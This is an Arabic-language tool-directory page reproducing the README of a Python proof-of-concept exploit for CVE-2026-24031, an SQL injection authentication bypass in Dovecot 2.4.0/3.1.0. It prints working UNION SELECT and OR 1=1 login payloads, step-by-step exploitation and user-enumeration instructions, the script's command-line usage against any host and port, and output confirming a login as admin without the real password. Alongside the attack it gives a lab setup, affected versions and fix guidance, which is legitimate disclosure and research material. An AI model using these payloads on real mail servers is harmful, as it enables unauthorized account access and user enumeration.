Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24031 — إثبات مفهوم (PoC) مستقل بلغة بايثون لتجاوز مصادقة SQL في Dovecot: يسجّل الدخول كأي مستخدم دون كلمة المرور الحقيقية ويعدّد أسماء المستخدمين على خوادم IMAP/POP3 الضعيفة بإصدارات 2.4.0/3.1.0. | Kitploit
أدوات/GitHubGitHub/aramosf/cve-2026-24031
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتاختبار الاختراقأمان البريد الإلكترونيأمن قواعد البيانات
GitHubaramosf/cve-2026-24031

CVE-2026-24031

إثبات مفهوم (PoC) مستقل بلغة بايثون لتجاوز مصادقة SQL في Dovecot: يسجّل الدخول كأي مستخدم دون كلمة المرور الحقيقية ويعدّد أسماء المستخدمين على خوادم IMAP/POP3 الضعيفة بإصدارات 2.4.0/3.1.0.

عرض المستودع
21منذ 8 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24031: تجاوز مصادقة Dovecot عبر SQL (تجاوز المصادقة + تعداد المستخدمين)

CVE-2026-24031 live exploit

يحتوي هذا المستودع على استغلال إثبات مفهوم (PoC) لتجاوز المصادقة الخاص بـ CVE-2026-24031، وهو حقن SQL في مصادقة Dovecot القائمة على SQL، ظهر كنتيجة لانحدار (regression) في Dovecot 2.4.0 / 3.1.0. في بيئة المختبر المعتمدة على Docker (Dovecot 2.4.0 + PostgreSQL)، يسجّل الاستغلال الدخول بصفة أي مستخدم دون معرفة كلمة المرور الحقيقية، كما يمكنه تعداد المستخدمين.

تحذير

ينفّذ هذا الاستغلال (PoC) تجاوز مصادقة دون مصادقة مسبقة ضد خادم بريد. استخدمه فقط ضد مختبر تملكه أو ضد أهداف مُصرَّح لك صراحةً باختبارها. لا يعدّل حالة الخادم، لكنه سيخضع المصادقة للاختبار وقد يترك سجلات دخول فاشلة في السجلات (logs).

ملخص الثغرة

تصبح مصادقة Dovecot القائمة على SQL قابلة للاستغلال عندما يقوم المسؤول بإفراغ توجيه الإعداد auth_username_chars (أي تعيينه إلى قيمة فارغة). يعمل auth_username_chars عادةً كمرشّح إدخال يقيّد الأحرف المسموح بها في اسم المستخدم قبل إدراج اسم المستخدم في استعلام SQL الخاص بقاعدة كلمات المرور (passdb).

عندما يكون auth_username_chars = فارغًا، تُمرَّر القيمة إلى الاستعلام دون sql_escape_string(). وبالتالي يصبح اسم مستخدم مُصمَّم بعناية يحتوي على محارف SQL وصفية (metacharacters) جزءًا من الاستعلام:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

تجعل الحمولة التالية الاستعلام يعيد صفًّا للمستخدم VICTIM بكلمة مرور يختارها المهاجم:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} يُحلَّل بواسطة Dovecot (وليس بواسطة قاعدة البيانات)، لذلك تتم معالجة مخطط كلمة المرور بشكل أصلي وتعمل الحيلة على pgsql وmysql وmariadb وsqlite. عند إرسال 12345 ككلمة مرور، يحدث التطابق، مما يعطي LOGIN OK بصفة VICTIM دون معرفة كلمة المرور الحقيقية.

الاستعلام الناتج هو:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

الإصدارات المتأثرة والمُصلَّحة

هذا انحدار (regression) ظهر في Dovecot 2.4.0 وهو موجود أيضًا في 3.1.0. الإصدارات الأقدم 2.2.x / 2.3.x تقوم بتهريب (escape) اسم المستخدم ولا تتأثر بالثغرة. تم إصلاح الخلل في 2.4.3 و3.1.4 (OXDC-ADV-2026-0001، DOV-8781).

تنطبق الثغرة فقط عند تحقق جميع الشروط التالية:

  • Dovecot 2.4.0 أو 3.1.0؛
  • قاعدة passdb من نوع SQL (driver = sql) تستخدم pgsql أو mysql أو mariadb أو sqlite؛
  • auth_username_chars = (فارغ) — الشرط المحفِّز الذي يضبطه المسؤول؛
  • إمكانية الوصول عبر الشبكة إلى خدمة IMAP / POP3 / ManageSieve (مع TLS أو بدونه).

تم التحقق من الاستغلال (PoC) ضد Dovecot 2.4.0 (وسم الإصدار الرسمي، daeb6bc5) + PostgreSQL.

عملية الاستغلال

1. كشف حالة عدم التهريب

قم بالمصادقة باستخدام اسم المستخدم ' OR '1'='1' -- وكلمة مرور عشوائية. على خادم قابل للاستغلال، يتغيّر الاستعلام، لذا يعيد Dovecot a1 NO [UNAVAILABLE] Temporary authentication failure. بدلًا من AUTHENTICATIONFAILED المعتادة. هذه هي البصمة التي تُثبت أن اسم المستخدم وصل إلى استعلام SQL دون تهريب.

2. تجاوز المصادقة باستخدام UNION SELECT

قم بالمصادقة باستخدام اسم المستخدم:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

وكلمة المرور 12345. يتجاوز صف UNION عمود password الخاص بـ VICTIM، ويتم تحليل {PLAIN} بواسطة Dovecot، لذلك ينجح فحص كلمة المرور.

3. تعداد المستخدمين

نظرًا لأن شكل نتيجة الاستعلام يختلف بين حالتي «المستخدم موجود» و«المستخدم غير موجود» (عدد الصفوف وحالة الاستجابة)، فإن الخادم يكشف ما إذا كان اسم المستخدم موجودًا أم لا. يعمل هذا ضد كل الأنظمة الخلفية المتأثرة.

بناء وتشغيل الاستغلال (PoC)

الاستغلال (PoC) هو سكربت Python 3 قائم بذاته (المكتبة القياسية فقط). ابدأ تشغيل المختبر القابل للاستغلال وشغّل الاستغلال:

root@kitploit:~
./run.sh

يبني run.sh مختبر Docker ويشغّله (lab/docker-compose.yml)، وينتظر خدمة IMAPS على 127.0.0.1:14193، ثم يشغّل الاستغلال (PoC). يبني المختبر Dovecot 2.4.0 من الحزمة المضغوطة للإصدار الرسمي مع إعدادات قابلة للاستغلال عمدًا وقاعدة بيانات PostgreSQL.

الخطوات اليدوية المكافئة:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

خيارات الاستغلال (PoC):

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)

تحتوي قاعدة بيانات المختبر على هؤلاء المستخدمين: admin/admin123 وalice/alicepass وbob/bobpass وpostmaster/postpass وvictim/supersecret. ينتحل الاستغلال (PoC) شخصية admin دون معرفة كلمة مروره.

النتائج المُعاد إنتاجها

تم التحقق من الاستغلال (PoC) بالكامل في مختبر Docker. كلمة مرور المستخدم admin الحقيقية هي admin123؛ يسجّل الاستغلال الدخول بصفة admin باستخدام 12345.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

النص الكامل المُنقّى (sanitized)، بما في ذلك خطوات التحكم الشرعي وكشف عدم التهريب، موجود في docs/example-output.txt.

العرض التوضيحي

العرض المتحرك في أعلى هذا الملف (assets/CVE-2026-24031.gif) تم تسجيله من جلسة حقيقية ضد المختبر قيد التشغيل. يمكنك إعادة توليده باستخدام:

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

يقود demo.sh العرض الحي؛ وdemo.cast هو تسجيل asciinema الخام المستخدم لإنشاء صورة GIF.

الإصلاح

تم بالفعل نشر النشرة الأمنية (OXDC-ADV-2026-0001، DOV-8781) من المصدر الرسمي؛ يقوم Dovecot 2.4.3 / 3.1.4 بتهريب اسم المستخدم قبل إدراجه في استعلام SQL. لذلك لا يتضمن هذا المستودع الإصلاح بشكل مكرر. التوصية الأمنية هي عدم إفراغ auth_username_chars أبدًا، أو الترقية إلى إصدار مُصلَّح.

المراجع

  • السجل الرسمي لـ CVE (CVEProject cvelistV5)
  • سجل cve.org
  • النشرة الأمنية الخاصة بـ Dovecot OXDC-2026-0001 (dovecot.org)
  • الحزمة المضغوطة لإصدار Dovecot 2.4.0

اكتشاف الثغرة: whisperer@yeswehack. البحث وتنفيذ الاستغلال: A. Ramos <[email protected]> (تويتر: @aramosf).

حول

CVE-2026-24031 استغلال PoC لتجاوز مصادقة Dovecot عبر SQL (تجاوز المصادقة + تعداد المستخدمين)

تنزيل الأداة
الإصدارالحالة
Dovecot 2.2.xغير متأثر (يتم تهريب اسم المستخدم)
Dovecot 2.3.xغير متأثر (يتم تهريب اسم المستخدم)
Dovecot 2.4.0قابل للاستغلال (انحدار: عدم تهريب اسم المستخدم)
Dovecot 2.4.3+مُصلَّح (يتم تهريب اسم المستخدم)
Dovecot 3.1.0قابل للاستغلال (نفس الانحدار)
Dovecot 3.1.4+مُصلَّح (يتم تهريب اسم المستخدم)